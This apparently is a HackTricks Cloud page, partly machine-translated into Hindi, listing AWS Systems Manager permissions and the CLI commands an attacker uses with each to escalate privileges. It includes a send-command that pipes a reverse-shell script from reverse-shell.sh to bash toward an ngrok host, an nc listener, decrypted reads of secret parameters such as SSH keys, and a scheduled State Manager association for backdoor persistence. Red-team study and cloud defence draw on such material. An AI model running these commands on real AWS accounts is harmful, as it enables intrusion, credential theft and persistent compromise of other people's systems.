AWS - SSM Privesc
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
SSM
SSM के बारे में अधिक जानकारी के लिए देखें:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
एक हमलावर जिसके पास अनुमति ssm:SendCommand हो, Amazon SSM Agent चला रहे इंस्टेंस में कमांड निष्पादित कर सकता है और उसके अंदर चल रहे IAM Role को समझौता कर सकता है.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
यदि आप इस तकनीक का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस स्थानीय रूप से rev shell को capture कर सकते हैं:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Potential Impact: EC2 IAM roles जो SSM Agents चलाने वाले इंस्टेंस से जुड़े हैं, उन पर प्रत्यक्ष privesc।
ssm:StartSession
जिसके पास अनुमति ssm:StartSession है, एक attacker Amazon SSM Agent चलाने वाले इंस्टेंस में SSH जैसी session शुरू कर सकता है और उसके अंदर चल रहे IAM Role को compromise कर सकता है।
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
सेशन शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: EC2 IAM roles पर सीधे privesc जो उन running instances से जुड़ी हों जिन पर SSM Agents चल रहे हों।
Privesc to ECS
जब ECS tasks ExecuteCommand enabled के साथ चलती हैं, पर्याप्त अनुमतियों वाले उपयोगकर्ता ecs execute-command का उपयोग करके container के अंदर कमांड चलाना कर सकते हैं.
the documentation के अनुसार यह उस डिवाइस और लक्ष्य container के बीच SSM Session Manager के साथ एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “exec“ कमांड आरंभ करने के लिए करते हैं। (SSM Session Manager Plugin necesary for this to work)
इसलिए, जिन उपयोगकर्ताओं के पास ssm:StartSession है, वे उस विकल्प सक्षम होने पर बस निम्नलिखित चलाकर ECS tasks के अंदर एक shell प्राप्त कर पाएँगे:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
संभावित प्रभाव: Direct privesc to the ECSIAM roles attached to running tasks with ExecuteCommand enabled.
ssm:ResumeSession
जिस attacker के पास permission ssm:ResumeSession है, वह re-start a SSH like session in instances running the Amazon SSM Agent with a disconnected SSM session state और compromise the IAM Role जो इसके अंदर चल रहा है, कर सकता है।
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potential Impact: Direct privesc उन EC2 IAM roles पर जो running instances से जुड़े हैं और जिन पर SSM Agents चल रहे हों और disconnected sessions मौजूद हों।
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
उल्लिखित अनुमतियाँ रखने वाला attacker सक्षम होगा SSM parameters को सूचीबद्ध करने के लिए और उन्हें clear-text में पढ़ने के लिए। इन parameters में अक्सर आप संवेदनशील जानकारी पा सकते हैं, जैसे SSH keys या API keys।
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
संभावित प्रभाव: पैरामीटरों के अंदर संवेदनशील जानकारी मिल सकती है।
ssm:ListCommands
इस अनुमति के साथ एक attacker भेजे गए सभी commands की सूची देख सकता है और संभवतः उन पर संवेदनशील जानकारी पा सकता है।
aws ssm list-commands
संभावित प्रभाव: कमांड लाइनों के भीतर संवेदनशील जानकारी मिल सकती है।
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
इन अनुमतियों वाला हमलावर भेजे गए सभी commands को सूचीबद्ध कर सकता है और उत्पन्न होने वाले read the output को पढ़ सकता है, जिससे उम्मीद है कि उसे उसमें sensitive information मिल जाएगी।
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
संभावित प्रभाव: कमांड आउटपुट में संवेदनशील जानकारी का पता चल सकता है।
ssm:CreateAssociation का उपयोग
परमिशन ssm:CreateAssociation रखने वाला एक हमलावर State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर कमांड्स स्वचालित रूप से निष्पादित करता है। इन associations को एक निश्चित अंतराल पर चलने के लिए कॉन्फ़िगर किया जा सकता है, जो इन्हें interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनाता है।
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
यह persistence method तब तक काम करता है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसमें interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। महत्वपूर्ण: --schedule-expression parameter (उदा., rate(30 minutes)) को AWS के न्यूनतम अंतराल 30 मिनट का पालन करना होगा। तत्काल या एक बार के execution के लिए, --schedule-expression को पूरी तरह हटा दें — association बनते ही एक बार execute होगा।
Codebuild
आप SSM का उपयोग करके बन रहे codebuild project के अंदर भी पहुँच सकते हैं:
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud